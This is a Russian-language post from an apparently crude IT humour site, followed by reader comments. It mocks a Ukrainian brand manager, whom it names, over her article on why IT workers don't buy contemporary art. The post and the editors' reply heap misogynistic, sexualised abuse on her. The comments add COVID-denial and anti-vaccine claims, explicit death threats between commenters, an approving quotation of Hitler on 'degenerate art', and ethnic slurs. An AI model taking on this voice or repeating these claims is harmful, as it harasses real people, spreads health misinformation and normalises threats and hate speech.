Почему паны айтишники не покупают картины?

Пишет Анонимус: «Привет ебаная редакция и не менее ебанутые читатели! Пишет вам ваш завсегдатай — не менее ебнутый мамкин программист.

Листая в очередной раз ленту, в поисках свежей порции упругих сисяндр от хрюшек, наткнулся на небывалый до этого высер от некой тупой пизды (по совместительству бренд манагера, что наверное одно и тоже), которая была в недоумении от того, почему паны айтишники не покупаю картины и не ценят современное искусство.

DOU: «Культурні хроніки вітчизняного IT, або Чому айтішники не купують сучасне українське мистецтво?»

Так что, дорогие читатели, давай те вместе проанализируем сложившуюся ситуацию и поможем Леночке прокоммуницировать с IT-сообществом.

Цей допис — спроба прокомунікувати з IT-спеціалістами з приводу актуального питання: ким ми є поза професійною спільнотою? Які цінності нас об’єднують, окрім зацікавлення технологіями, кар’єрним і зарплатним ростом, фінансовими інвестиціями у власне майбутнє?

Дорогая Леночка, я обычный среднестатистический пан it-шник, я гребу на нескольких галерах по 15 часов в день, на обед завариваю мивинку, а после работы фапаю на хрюшек и прокосцинирую. Какое нахуй будущее и причем тут твои ебаные картины?

ми прийшли до розуміння: аби розвиватися не тільки у матеріальному сенсі, рамки обов’язково потрібно розширювати і збагачувати світогляд.

Еще один ебаный высер от тупых куриц, которые привыкли считать чужие деньги. Стоит где-то заикнутся что ты в ИТ — как сразу ценник возрастает в два раза. Ты знаешь сколько нужно было выпаливать глаза в мониторе чтобы заработать пару тон мертвых франклинов? Кто ты такая и почему я должен их занести тебе? Я лучше потрачу их на сыр и задоначу хрюшкам за свежие фоточки сисечек.

Мало хто знає, що мистецтво буває доступним, і придбати витвір, що припав до смаку, іноді дешевше, ніж пообідати з друзями в престижному закладі. Здавалося: програмісти, які, відверто кажучи, мають на такі покупки гроші, обов’язково зацікавляться можливістю.

Леночка, вот ответь мне на один вопрос, с хуя ли я должен тратить свои деньги на твои увлечения и поддерживать на хуй никому не нужную возню, которую ты называешь «картинами»? Почему нужно именно разводить программистов, а не депутатов или бизнесменов? Может ты выбрала не ту аудиторию?

Однак очікування не збіглися з реальністю. І сталося так з самого початку підготовки до виставки. … Звертаючись до потенційних інфопартнерів з проханням розмістити анонс події, отримували мовчазну відповідь або лист з прайсом.

Леночка, добро пожаловать в суровый мир, где за каждый чих нужно платить бабосики, рядом с воздвиженкой есть, алея художников, так вот открою тебе тайну, даже там нужно платить денюшку что бы постоять. Почему кто-то что-то должен делать для тебя бесплатно?

Зважаючи на масштаб запланованої події медіапартнерів нам не вистачало, тож публікації дійсно доводилося купувати. Але й це не приносило бажаного результату, — реєстрації йшли повільно. Було складно зрозуміти, що саме ми робимо не так.

Леночка, ты все сделала не так, понимаешь, всё. Смотри сюда — чего хочет человек, который прожигает свою жизнь за клавиатурой? Верно, мивинки и пофапать. Скажи, на хуя ты ко мне лезешь со своим ебаными картинами? Пиздуй на владимирку и там поддерживай кого хочешь, оставь меня в покое.

Які отримали результати? 190 реєстрацій і менше половини зареєстрованих зі сфери IT. З-понад 60 робіт, виставлених на аукціоні, придбали 8. Розробники купили лише 2 з цього числа. І тут постає питання: чи взагалі готова IT-спільнота до сприйняття нових сенсів, розширення сфери інтересів, до підтримки культури країни, в якій живемо ми і, скоріш за все, житиме наступне покоління?

Леночка, после такого результата тебе еще не пришла в твою светлую голову мысль что ты что-то делаешь не так? Может хватить лезть к панам айтишникам в карман и пиарить то, что нахуй никому не нужно? Почитай ebanoe, проанализируй рынок, попытайся понять, что интересует аудиторию. Верно, выложи свои сиськи в инсте, это даст больше выхлопа.

За офіційними даними, частка IT-галузі у ВВП країни становить 4% і в планах збільшити цей показник до 10%. Отож, індустрія технологій — найперспективніший сектор розвитку вітчизняної економіки, з одного боку. А з іншого, привілейована закрита каста, яка може інвестувати і час, і гроші в розвиток культури (в тому числі, власної), але чомусь не хоче чи просто не робить цього.

Леночка, какая в жопу закрытая каста? Сюда берут всех, школьников, пенсионеров и мамкиных подруг, главное, чтобы весло держали крепко и веслали быстро. И то, что растет количество айтишников — это, наоборот, показатель того, как всего херово, мы теряем хорошего врача, а получаем хренового фронтенщика. Да еще с таким ростом куча таких пиявок как ты к корме прилипает, которые хотят всего, сразу и бесплатно.

Ми віримо в те, що крім власної кар’єри, варто докладати часу і зусиль до розвитку себе як особистості та соціокультурного середовища, яке врешті формує і нас. І знаємо напевне, що серед IT-спеціалістів багато таких, що мають багатогранні інтереси й не проти ділитися ними з ком’юніті.

Леночка, не злись и не плачь, ты хотела побеседовать с IT-сообществом, добро пожаловать в него и на ebanoe.it, можешь в коментах продолжить общение и дальше нести искусcтво в массы. Я понимаю, что ты расстроена^ что твоя выставка провалилась, но не расстраивайся так сильно. Ты смогла закентоваться с комьюинити, хотела пиара? Вот он, наслаждайся славой и заслуженным вниманием. И пойми, тут никому не нужны твои картины, мы все ждем грязи, скандалов и сисек.

А что думает ебаная редакция и мамкины программисты вроде меня по поводу слезливой статейки от Леночки?

Прислал Анонимус
По мотивам DOU

Мнение ебаной редакции

Автор правильно подметил трагедию современного общества, когда вместо врача мы получаем очередного фронтендщика, который работает на заморского дядьку. Что же касается госпожи Елены, то, пожалуй, ИТ (по крайней мере галеры) — один из основных вкладчиков в современное украинское искусство — именно IT-компании покупают в свои офисы разную мазню отечественных художников, чтоб заполнить чем-то пустоту на стенах и показать, что «мы тоже модные, молодежные и современные».

Елена, вот как вы думаете, ваши картины не покупают потому что плебс дремуч и необразован? Или может потому в большинстве случаев это мазня, которую, в принципе, может нарисовать каждый?

Вот вы задумывались, почему в европейских музеях современного искусства всегда значительно меньше посетителей, чем в музеях классического искусства?

Взять, к примеру, пару картин с вашей выставки.

Современное украинское искусство

Пожалуй, единственная ценность той, что выше — сиськи. Но исполнение выглядит по-дилетантски. А в целом — вы серьезно? Да такую мазню и бесплатно не повесишь у себя дома. По крайней мере если не хочешь поиметь себе проблем с психикой.

И не надо рассказывать, дескать «вы просто не понимаете». Современное «искусство» — в большинстве случаев просто издевательство над зрителем.

Вот, к примеру, свежая инсталляция, которая целых 4 часа стояла в Одесском Горсаду. «Золотая вульва» — посвящена борьбе с «гендерным насилием».

Золотая Вульва в Одессе

Автор «скульптуры» Ева Ятт сама признается: «Невозможно за пять минут объяснить, почему какая-то непонятная скульптура — это искусство. Я часто сама этого четко не понимаю, художники не то чтобы прям все понимают про искусство.» Ну да, конечно. Если вы не понимаете в искусстве, то кто? К слову, в делах и в бизнесе есть правило — если ты не можешь изложить свою идею кратко и в паре предложений — это наёб. По сути Ева как бы подтверждает то, что современные художники зачастую занимаются наебом зрителя. И вот они так умилительно удивляются и плачут, когда «прижимистые паны задроты» не позволяют себя наебать. Какая печаль!

Причем автор этой скульптуры частенько рисует вульвы. Ей бы к врачу, а она бумагу марает.

Картины вульв в современном искусстве

Это настолько нелепо, что даже не верится, что это не троллинг. Впрочем, что еще ожидать после «Черного квадрата» Малевича?

Закончим словами Михаила Веллера о современном искусстве:
«Черный квадрат» Малевича – о, это непревосходимый эстетический символ эпохи! Чтобы нарисовать такую картину, достаточно быть идиотом с кистью и черной краской. Это можете вы, я, ваши дети и таджик-гастарбайтер из дворницкой. Но чтобы додуматься нарисовать такое, и выставить, и объявить символом, – вот это попахивает гениальностью. Подафитесь фашими грезовскими головками, тернеровским светом, импрессионистскими тенями и босховскими фантасмагориями. Вот – вам!!! Хавайте. И как схавали!..

«Черный квадрат» – это точка в конце великой истории великого искусства нашей цивилизации. Это отпечаток головы, ударившейся в тупик в конце тоннеля. Полное логическое завершение всегда есть абсурд – получите. Знак конца. Отрицание всего бывшего. Противопоставление любому изображению. Всем контрам контр.

Появился он, ясен день, не на пустом месте. Все виды модернизма волной подкатывались к конструктивизмам, абстракционизмам, дадаизмам, а допрежде того – к разным неопримитивизмам. И вдруг оказалось, что уметь рисовать – не обязательно! Владеть рисунком и цветом – не обязательно! Это и без тебя уже сделано. Главное – что-то отличающееся изобразить, необычное, привлекающее внимание.

На конкурсе красоты наибольшее внимание привлечет уродина. Таковой и явилась модернистская живопись. По достижении совершенства – диалектическим развитием процесса явится разрушение совершенства».

Так что, Леночка, не печалиться надо, а радоваться, что народ отказывается покупать ваши картины. Значит не всё еще пропало — народ бунтует против откровенной безвкусицы и насмехательства.

160 Комментариев

  1. Зигмунд Фройд:

    Почему %username% не покупает картины?

    8

    0
    • Дон Хуян:

      раньше я рисовал паштет а теперь бутылки. Спасибо Василий!

      20

      1
    • Боря, ЕPAM:

      Продам черный квадрат Малеева
      Дорого
      Даже не звоните!

      40

      0
    • гребец:

      не знаю, учитывая что ее можно нагенерить, а потом еще и продать как токен да еще и дорого. Зачем художник? Уж лучше GAN. Ето куда интересней. Лучше скажи, чего в епаме так много уебанов?

      4

      2
    • Вульва:

      Потому что такой переменной path нет

      2

      0
    • Feerb:

      Ну кстати «с **** я должен тратить свои деньги на твои увлечения и поддерживать на хуй никому не нужную возню, которую ты называешь «картинами»?» — картины это часть декора и в ЕС и США это всегда обязательная часть интерьера, это дополняется его и убирает «пустоту» на стенах. Если у автора нет эстетического вкуса — то у него большие проблемы, наверно и одевается как деревня: худи + джинсы каждый день.
      Вопрос в том какие картины конечно, тематика, всякий разврат я бы не стал вешать, такое любить — это уже психические проблемы.

      7

      23
      • Мистер Худи Джинс:

        Ношу худи и черный джинсы и разумеется верчу твое мнение на хую, в джинсах, кстати, ахуенно удобно этим заниматься

        21

        1
    • макогон:

      Я б купил но недорого, по цене холста с подрамником. Чисто замазать нарисованное говно и получить чистый холст.

      2

      0
  2. Мамкин АЙПишник:

    Где сиськи Леночки?

    60

    1
    • Леночка:

      Найдешь — дай знать!

      28

      1
    • Хуй с горы:

      Ей некогда сиськи рисовать, всё время на пёзды уходит.

      42

      1
  3. Конь Кистадор:

    Блядь, опять ссьілки мамкиньіх критиканов на квадрат Малевича, которьіе даже гуглом не умеют пользоваться чтобьі поинтересоваться, а почему же он признан шедевром. Но продолжайте его упоминать, показьівая своё невежество.
    P.S. Єто не отрицает того, что «современное искусство» действительно говно.

    30

    43
    • /dev/null:

      Лол, все т.н. искусство это субъективная хуита не имеющая реальной ни качественной ни количественной оценки, поэтому «шедевр» или нет решают лишь субъекты по своим мироощущениям и не более. А большинство людей дрочит на то или иное произведение «искусства» только лишь потому что на него дрочат другие эдакая цепная стадная реакция. Я вот честно скажу нихуя не понимаю в этой мазне, мне либо картинка нравится либо нет.

      90

      5
      • Чеченская бутылка для рузге:

        Окрім доларовідмивального живопису існує багато інших проявів мистецтва (від автомобільного дизайну до архітектури), які у вас напевне викликають меншу ненависть. На мазанині за підозріло грубі гроші світ мистецтва ніяк не закінчується.

        34

        2
        • /dev/null:

          >>від автомобільного дизайну до архітектури

          Опять же сугубо субъективная хуита. И все сводится к пиару и банальному нравится/не нравится, которая опять же субъективно. Это не наука с доказательной базой и практическим опытом. Поэтому мне лично, что кто-то называет какую-то хуйню искусством до сраки. В основном это хипстота выебуется друг перед другом, типа ебать какие они духовно обогащенные, а все кто не понимаю духовно бедное быдло без чувство прекрасного. На самом деле обыкновенное глупое хомячье одурманенное маркетологами и пиарщиками.

          15

          4
          • Чеченская бутылка для рузге:

            >не наука
            Питаннями мистецтва займається такий підрозділ філософії як естетика, гуманітарна наука. Якщо вам хочеться більшої точності, то можна заглибитись у нейробіологічні дослідження, як це наприклад робив Ліндстром у не менш гуманітарному маркетингу, проте більшість наук у принципі за власною природою не здатні наблизитись за точністю до математики.

            26

            1
            • /dev/null:

              >>Питаннями мистецтва займається такий підрозділ філософії як естетика, гуманітарна наука.

              Опять же какая количественная и качественная оценка этого? Если в биологии что-то работает, то оно работает потому что… т.к. есть физика взаимодействия, в инженерии если машина а1 быстрее машины а2, то она лучше в плане скорости, т.е есть качественная оценка. А где в гуманитарщине качественная оценка или количественная? Опять же все сводится к субъективизму и пиару. Десятки миллионов людей слушают Моргенштерна это можно называть искусством? Если нет то почему? Можно ли назвать его новым Моцартом? Если нет, то опять же почему?

              6

              4
              • Чеченская бутылка для рузге:

                >где в гуманитарщине качественная оценка или количественная?
                Якщо ви задаєте такі питання, то мабуть навіть не знаєте, що та ж економіка є гуманітарною наукою.

                17

                1
                • /dev/null:

                  Опять же какое отношение это имеет к моему вопросу. Ответь мне на вопрос Моргенштерна можно назвать деятелем искусства или нет? Если да то почему, если нет, то опять же почему?

                  5

                  7
                  • Чеченская бутылка для рузге:

                    >моему вопросу
                    Я нарахував 6 запитань, і щоб не розгрібати весь цей спам, виокремив одне, яке вважаю коренем вашого нерозуміння. Ви звинувачуєте гуманітарні науки не просто у неточності (що є природним, про що й писалося зверху), а у повній відсутності KPI, й при цьому навіть не знаєте, що саме відноситься до гуманітарних наук.
                    Стосовно гівномузики, то її гівняність, як не дивно, теж можна замірювати відносно чіткими науковими методами — соціологічними дослідженнями серед слухачів, нейробіологічними дослідженнями, чи будь-якими іншими, що задовільняють вашу систему відліку. Переповідати повний зміст підручників основ наукових досліджень сенсу не бачу, якщо вас ця тема цікавить, то гугл завжди допоможе.

                    11

                    2
                    • /dev/null:

                      >>чіткими науковими методами — соціологічними дослідженнями серед слухачів

                      Вот у меня к тебе вопрос как ты определил, что это говномузыка, по своим вкусам? Опять же все скатываются в унылую демагогию с налетом снобизма. Ты не понимаешь моего поинта, что нету никаких шедевров и говна, когда речь касается субъективщины, есть только твои личные предпочтения и предпочтения других. Ты ссылаешься на социологию, т.е. ссылаешься на мнение других людей, которые опять же субъективны. Готов поспорить на любые деньги, что если бы большинство считало всякие шедевры типа Мона Лизы и Звездную ночь говном, то ты бы тоже считал это говном и всячески находил этому оправдание.

                      9

                      7
                    • Чеченская бутылка для рузге:

                      >Ты ссылаешься на социологию, т.е. ссылаешься на мнение других людей
                      Соціологічне дослідження це далеко не завжди «думка інших людей». В принципі, що й треба було довести — ви навіть не знаєте визначення соціологічного дослідження чи гуманітарної науки, але чомусь лізете обговорювати їх. Недавно спілкувався із антивакцинатором, який банально не знав про існування пабмеду чи юніпроту, та при цьому корчив із себе видатного імунолога, повне дежа вю. Доброї ночі вам, і підручники ОНД все ж покуріть.

                      13

                      3
                    • Днепровский разнорабочий (не рубист):

                      Товарисчь /dev/null: вообще ни в зуб ногой. Не понимает принципов научного подхода на базовом уровне. Видимо, просто в детстве ему кто-то сказал что он «технарь», а потом уже он допер, что для ЧСВ полезно считать «гуманитариев» недочеловеками. Заодно с гуманитарными науками.

                      22

                      1
  4. Помідор:

    Їй би не картини малювати, а просто фото цицьок виставляти — тоді б кодєрки, з налитими кров’ю очима, швидко скупили би все шо є. Але там конкуренція побільше, прийдеться шось видумувати

    45

    3
    • Смех:

      Картины сисек в NFT, очевидно же. Если придумает, как туда ещё ML и docker прикрутить — вообще озолотится.

      32

      2
    • Архитектор Андрій Нікішаєв:

      я мечтаю рисовать картины без отвертки..

      7

      1
    • Зигмунд Фройд:

      Спермотоксикозник детектед.

      3

      2
    • ленивый пиздец:

      ой да нахер надо, есть бесплатный порнхаб

      0

      0
  5. Чукча-читатель:

    В заголовке ошибка: «Почему паны айтишники не покупают МОИ картины?»

    А ответ, в вопросе, за дефицитным товаром, очередь, что порождает рост цены. За бесполезной хренью, либо чем либо общедоступным очереди нет, и цена или низкая или равна нулю, а для впаривания таких товаров придумали даже целую профессию — маркетолог.

    71

    2
  6. Маломощный июнь:

    Тоже не выкупаю современных картин. И не могу понять — это художники просто не умеют рисовать или им тупо влом рисовать море, горы, мишек в лесу? И кстати был в музее Современного Искусства в Вене — больше туда не пойду. Пустая трата времени и денег.

    33

    4
  7. Помидор:

    Художник должен голодать только тогда он нарисует что то стоящее.

    43

    4
    • Кэп:

      Такая же ритуальная хуйня как «айтишник должен быть ленивым» или «айтишник должен быть жирным». Учить матчасть нужно, работать над собой каждый день, исправлять ошибки и т.д.

      5

      28
      • Творец:

        Айтишник тоже должен голодать.

        41

        2
        • Кэп:

          Господин Лукашенко, перелогиньтесь.

          47

          0
  8. Философ:

    Ебать меня рубистом… Да нейронка рисует лучше этой хераборы.

    https://app.wombo.art/

    51

    0
  9. zalupa:

    Ну что же вы, спильнота

    10

    1
  10. Кэп:

    Тысячи людей нарисовали квадрат «как у Малевича», обосцали квадрат Малевича, но это все вторично. Михаилу Веллеру, чтоб стать известным как Малевич, необходимо придумать свой оригинальный алгоритм, например выебать овцу или лошадь.

    13

    9
    • Михал Веллер написал десятки книг, многие из которых были переведены на разные языки, и выиграл массу премий, так что если вы о нем не знаете — это скорее говорит о вашей неосведомленности.

      13

      0
      • ИИ на псевдокоде:

        Это не означает, что он не несет хуйню. В случае с его высказывании о модернизме — он просто поделился своим невежеством в этом вопросе, не более. Рассказывать о том что модернизм в общем и Малевич в частности — мазня верный признак того что человек либо не понимает о чем говорит, либо толкает хуевую политическую повесточку неокрепшим умам. Либо оба варианта. Почитай хоть википедию про «Черный квадрат» Малевича и завязывай цитировать чужие глупости.

        14

        5
  11. Дед:

    Леночка, если вам интересно
    Вот тут довольно подробно актеры из «Квартет И»
    высказали свое мнение по поводу современного искусства.
    https://www.youtube.com/watch?v=_UG4owIhk4I
    И я с ними согласен на 100%
    Думаю и большинство Айтишников тоже

    10

    0
  12. Дед:

    Это потому что в искусстве нет обьективных критериев.
    Вот в спорте все обьективно — пробежал быстрее всех стометровку — все — ты молодец, победитель, чемпион!..
    и никого не интересует стиль твоего бега, хоть задом наперед.
    «Как-то он не концептуально пробежал» — да пошел ты в жопу, ты сам так пробеги
    — «нет, нет, что же он хотел сказать этими своими 9.5 секундами»
    — что ты хрен так пробежишь — только и всего

    31

    1
    • Зануда:

      Есть много видов спорта где хуй что измеришь: всякое выебывание на лыжах, коньках, брусьях, турнике, с мячом, с лентами и т. д.

      18

      2
      • пузіротшампуся:

        хуй сука, есть понятие сложности єлемента и то сколько за него или комбинацию єлементов дают очков.

        10

        0
        • Зануда:

          Понятие то есть. Но есть и пидарасы-судьи, разброс в 1-3 балла и вопли «спиздили медаль».

          19

          0
    • Думающая аудитория:

      Нехуя, от тоже от выбранной ниши зависит. Если ты с претензией на лавры Донателло, но лепишь непропорциональные и совершенно не анатомические вещи, то либо признай что ты неумеха конкретно в этом направлении, либо пиздуй открывать новое. Авось признают и станешь законодателем и классиком жанра.

      1

      0
  13. Жыд:

    Насколько же должно быть дохера свободного времени и скуки у этой ТП, чтобы высосать из пальца такую ахинею и разглагольствовать на эту тему? На месте её работодателя после прочтения вот этого я бы выкинул её к хуям на мороз или оштрафовал за беспрецентное просирание своего (а скорее всего, и рабочего) времени.Зажрались, ох зажрались эти бесполезные куски мяса вокруг вульвы.

    40

    4
  14. Сын хуйни:

    Лол, то чувство когда искусство любой эпохи это говно. Реальный шедевр это когда у тебя секс в троем, а не когда ты с ебанистическим видом смотришь на хуйню не имеющего веса от слова никакого. Запомните гребцы, наше искусство это лутать килобаксы и смотреть на завистливых хрюш подрачивая хуй!

    37

    6
  15. мавр:

    Леночка инетересуется почему никому не нужны ее картины..
    Может быть они никому не нужны, потому что они мерзкая богопротивная хуйня?

    50

    0
  16. G:

    Пузырь COVID-19 лопнул. Пандемии не было. Статистика
    https://kungurov.livejournal.com/301677.html

    Отсебя добавлю, тех кто сделал прививки поздравляю, вас наебали.

    9

    51
    • Зануда:

      И чим эти дохуя букв, цифр, графиков из источников, достоверность которых можно охарактеризовать как «ебать мой хуй»
      с ссылками на банковские карты в конце отличаются от попыток впарить хуевую мазню красками?

      39

      1
      • G:

        Иди уколись короновируснйо вакциной. Нам, обществу, такие как ты с ошибками в ДНК олигофрены не нужны. Чем ваc больше передохнет от коронопрививок тем лучше.

        3

        45
        • Dr. Hawkins:

          Да-да, поменлось ДНК, ага. Ждем меньше года и представь сколько мутантов вылезет с беременных женщин…БУУУУУУУ!
          Страшно? Или может таки ты хуйню написал?

          35

          1
          • G:

            Ко-ко-ко-ко-ко

            1

            23
            • Чморю Дебилов:

              Да умри уже, выблядок. В день, когда ты подохнешь в корчах, мир станет немножко лучше.

              0

              0
        • Зануда:

          Иди к пиздаболам-антиваксам, пиздаболам-художникам, пизболам-блогерам, пиздаболам-гомеопатам, пиздаболам-диетологам, пиздаболам-преподавателям вайтишных курсов, астрологам-хуйологам, коучам-хуеучам. Всех, блять, перечитай-переслушай-пересмотри, прорекламируй, всем задонать по 3 рубля и станешь самым умным, здоровым и немутированным. Или ты уже стал?

          31

          2
    • Уже-не-червень:

      А яким боком КОВІД до цього посту або до мистецтва від Леночки?

      1

      0
      • Если вы обратите внимание на «Золотую вульву» — то увидите ковидные «шипы», которые символизируют «пандемию семейного насилия».

        18

        0
        • Уже-не-червень:

          Ого, схоже я не помітив ще одне послання від глобального правління Землі, що вказує, глобальний заговор все ж таки існує і він якось чином напряму повязаний за розкішницяма.

          2

          0
    • ai ебаного на питоне:

      бро я тебе на Rust набросаю нейронку, что второй мировой не было, а ветераны это актеры театра одной роли на 9е мая, Гитлера не было а фотки и кинохроника разрушений это результаты испытания ядерного оружия сумашедших физиков из Израиля. Эта нейронка откроет тебе глаза на многое и на плоскую землю и инопланетян на луне и то что солнце это большая лампочка бабуинов из созвездия Рыбы, от диванной аналитики до психушки 1 шаг, сделай его лучше в окно, спаси планету!

      7

      1
    • Чморю Дебилов:

      Подох бы ты плскорее, а, .быдло необразованное. Таким выблядкам, как ты, жить не следует. Я бы сам лично тебе глотку перерезал.

      0

      0
  17. папа может в си:

    Я бы ещё как-то понял Леночку, если б она организовала продажу своих картин, и плакалась шо их нихто не берет. Но сука, у тебя бизнес проект по перепродаже мазни сыроедам неудался, и ты задротов упрекаешь в неподдержке современного исскусства. Тут какбы 2 пункта потенциальной ненависти: — 1) ты продаешь говно, 2) говно не твое.

    39

    -1
    • ИТерпила:

      Ох уж эти хуйдожники, думают, что их каловые массы кому-то интересны. Жалкое зрелище…

      27

      0
  18. Ниггер Обыкновенный:

    продайте рубисту

    3

    0
  19. НеобиженныйжизньюQA:

    По ее логике, вы должны не смотрть на «Мону Лизу», а купить ее. Иначе вы деградант.
    Опять же, мысль о том, что ее картины «О, боже, не понравилась никому» тоже ей в голову не пришла. Ну или понравились, но не вписываются в домашний интерьер.
    Кто тут быдло еще большой вопрос, ведь ее концепция это полнейшее потреблятство. Типа «неси домой все, что плохо лежит. и что хорошо лежит. покупай. похуй на стиль и где это хранить. покупай обязательно и неси домой, обвесь все стены дома, как душевнобольной»
    А что если у «пана айтишника» есть дома картины в достаточном количестве и лучшего качества? а ее картины ну вот просто в стиль не вписываются.

    37

    0
    • /dev/null:

      Да бля все гораздо проще телка бренд-менеджер ей надо втюхать товар, а вы тут целую полемику с оправданиями развели. Все гораздо проще.

      33

      0
  20. podx:

    Такие картины и даром нахуй не нужны

    40

    0
  21. Карабас:

    нытье этой … примерно такое:
    есть риелтор, толкает дерьмоквартиры
    и вот она приходит и начинает ныть … пына ИТшники жилье не покупают, у них деньги есть
    пшла вон, мне такое дерьмо и за доплату не надо

    26

    0
  22. пузіротшампуся:

    киса во время моей последней поездки в амстердам я привез маленькое произведение искусства из голландских классиков. да дорого да вьіебоньі. а тьі можешь сходиьт нахуй с єтой богомерзкой мазней

    14

    0
  23. QAвайвайтишник:

    Совершенно определенно знаю одну контору, которая всем известна на ебаном, которой рекомендовал бы приобрести картины ройтбурта …. с налетом говнеца… и легким амбре, чтоб синьоры приобщались к «великой» культуре….

    5

    4
    • Чеченская бутылка для рузге:

      Ватний фейк про картини Ройтбурда уже давно розвінчаний: https://dumskaya.net/news/protivniki-naznacheniya-roytburda-rasprostranyay-083442/
      Якщо ви любитель ватних фейків, то не стримуйте себе — розкажіть нам також, що Бандера вбивав кошенят, а Порошенко алкоголік, буде цікаво почитати.

      3

      0
  24. Задротина:

    >чому айтішники не купують сучасне українське мистецтво?
    А почему должны? Обязательно быть для этого айтишником? Почему именно украинское, искусство ведь не знает границ, да?
    Может потому что среди них так же есть люди которым это попросту не интересно/вайтишное быдло которое тупо за баблом вкатилось/просто задроты которым похуй?

    14

    2
  25. Ниггер:

    Бля, долистал до конца и фоток с картинами пезд. Это что-то уровня Рубенса, или даже выше.
    Да хули тут говорить если даже в казалось бы не отягощенных идеями сериалах это обсосали: https://www.youtube.com/watch?v=i9DrGNL_LZ8

    6

    0
  26. Программирую Хуями:

    1. Совершенное украинское искусство — ха, шутканули
    2. Подавляющее большинство панов-айтишников пришло в ит за деньгами, чтобы не варить кофе или не развозить пиццу, и, увы, далеки от высокого. Такие дела

    3

    3
  27. The Truth:

    Ну блять могли бы запилить перевод

    1

    15
  28. Задрот:

    Ну пиздец просто! Сиськи с нутеллой — живопись, золотая пизда — то же искусство … А красивое, элегантное порно с молодыми, фигуристыми девушками в кружевном белье и без — это почему-то противозаконно и преступление!
    Рисовать голую девушку или лепить статую — искусство, показать живую голую девушку на публике — нарушение общественной морали. Снять на видео — создание порно — преступление.
    И не надо пиздеть что ИТшники не любят искусство. Я вот очень люблю — только не нарисованных на картинах девушек, а живых, по веб-камере. Не мраморные статуи, а настоящее тело, которое можно пощупать! И да — я готов платить за это деньги (бесплатно-то ИТ задроту никто не даст).

    13

    7
  29. Ценитель прекрасного:

    «Почему паны айтишники не покупают картины?»
    Ну потому что есть Сиськи вероники, и они бесплатно. И намного полезнее этих картинок.

    21

    0
  30. Дегенеративное искусство:

    Вот мнение одного небезызвестного австрийского художника, чьи картины, между прочим, тяжело назвать мазней:
    Кубизм, дадаизм, футуризм, импрессионизм и т. п. не имеют ничего общего с немецким народом. Потому что все эти термины ни стары, ни современны, но они являются лишь искусственным производным людей, которым Господь отказал в таланте истинно художественной одарённости и вместо неё одарил их даром болтовни и обмана… Говорят, что эти художники не так видят, как другие. Я здесь посмотрел некоторые из присланных картин, и должен признать — некоторые из них действительно написаны людьми, видящими «наизнанку». У них нынешние представители нашего народа представлены как дегенерирующие кретины, луга для них синие, небо — зелёное, облака — серно-жёлтые и т. д.; так они чувствуют или, как они выражаются, это переживают. Я не желаю вмешиваться в спор, действительно ли указанные лица так чувствуют и видят или нет, но я хочу во имя немецкого народа запретить то, чтобы вызывающие жалость несчастные, которые страдают острым расстройством зрения, плоды своего болезненного видения пробовали навязать окружающему миру или даже пытались возвести это в ранг «искусства». Нет, у нас имеется лишь две возможности: или так называемые «художники» видят окружающее действительно так странно и верят в то, что они изображают мир правильно — тогда требуется только определить, являются ли их дефекты зрения повреждениями механического характера или они наследственны. В первом случае мы им глубоко сочувствуем, во втором — это важно для Имперского министерства внутренних дел — заняться этим вопросом и избежать по крайней мере дальнейшее наследование таких ужасных дефектов зрения. Однако возможно также, что эти лица сами не верят в действительности в эти свои «чувствования» и «видения», но стараются, исходя из других побуждений — чтобы оскорбить нашу нацию этим безобразием, насмешкой. Тогда такие поступки относятся к области уголовного наказания… Отныне мы будем вести беспощадную очистительную войну против последних у нас элементов культурного разложения.

    12

    2
  31. Никита Хрущёв:

    Что это за лица? Вы что, рисовать не умеете? Мой внук и то лучше нарисует! … Что это такое? Вы что — мужики или педерасты проклятые, как вы можете так писать? Есть у вас совесть?

    18

    1
    • Задротина:

      Ну вообще то не педерасты а пидараски в данном случае.

      1

      1
    • среди свиней:

      Это зеркало, Никита Сергеич!

      12

      0
    • Извините, не смог удержаться:

      Татарский понял это по несколько раз
      долетевшему из зала голосу Ельцина, включенному на максимальную
      громкость. Первый раз он недоуменно пробубнил:
      — Зачем нам столько пилотов? Нам нужен один пилот, но готовый на
      все! Вот у меня внук на Play Station играет — я как поглядел, так
      сразу и понял…

      ВИКТОР ПЕЛЕВИН. GENERATION «П»

      0

      0
  32. X0X0L:

    Настоящая сила искусства в том, что оно всегда несет некий смысл, который автор хотел передать зрителю!
    Как-то раз я был в Музее современного искусства в Нью-Йорке. Я не большой знаток и большинство странных картин выглядели для меня мазней. Но одна картина почему-то притягивала мой взгляд. Это было знаменитое полотно «Звёздная ночь» Винсент ван Гога. Глядя на картину я подумал что и сам мог-бы такое нарисовать: корявые домики, наляпать кистью волнистых линий… И все-же картина чем-то цепляла. Я задумался: а какую мысль хотел передать автор? Я смотрел и так и этак, но стоило отойти немного подальше — и я УВИДЕЛ! Домики и все эти мелочи не видны издалека и не важны — но картина ЖЕЛТО — СИНЯЯ !!!
    В 1889 году великий безумец предвидел возрождение Украины! И в своей картине передал нам эту мысль: СЛАВА УКРАИНЕ !
    Если присмотреться то в линиях непонятной черной херни можно даже увидеть очертания ТРИЗУБА.

    73

    7
    • Москаль:

      Ты вообще понимаешь что ты поехавший со своей Украиной?! Тебе, бля, везде тризуб мерещится, готов целовать любой желто-синий сортир.
      Меня твои истории просто доебали уже, я уже не могу их слушать, блядь. Одна история охуительней другой просто, блядь. Про древних укров, блядь, про какую-то хуйню, козаков. Чё ты несёшь-то вообще?
      Украинец был первым человеком, древние укры выкопали Черное Море, козаки бля открыли Америку … Чего, блядь? Про что несёт? Вообще охуеть.

      4

      11
    • Лектор каннибалов:

      дурка ебать

      1

      1
  33. А:

    Свiдомая == ёбнутая. Свiдомый == ёбнутый. Точка.

    8

    23
    • Киселев:

      Молодец, красава. Все воспроизводишь именно так как мы тебе нассали.

      6

      1
    • несознательный овцап:

      > Свiдомая == ёбнутая. Свiдомый == ёбнутый. Точка.

      По-русски пиши, гнида! Не все понимают!

      Сознательная == ёбнутая. Сознательный == ёбнутый. Запятая. Несознанка — наше всё! Воруй убивай еби гусей блять, это по-русски!

      0

      2
  34. Зигмунд Фройд:

    Кто прочел этот высер — всем защекоинов!

    0

    3
  35. рандомный_манагер:

    Эти долбоёбы держат айтишников за мажоров, когда это средний класс.

    7

    1
    • А:

      Мадеры? В этом зловоноом картофельно-горiлочном быдлостане? Да, уж, мажеры…

      И про средний класс слегка улыбнуло, да.

      1

      7
  36. пиздатый коронавирус:

    Схуяли меня Жук-пидор «Золотой вульвой» обозвал???

    4

    2
  37. среди свиней:

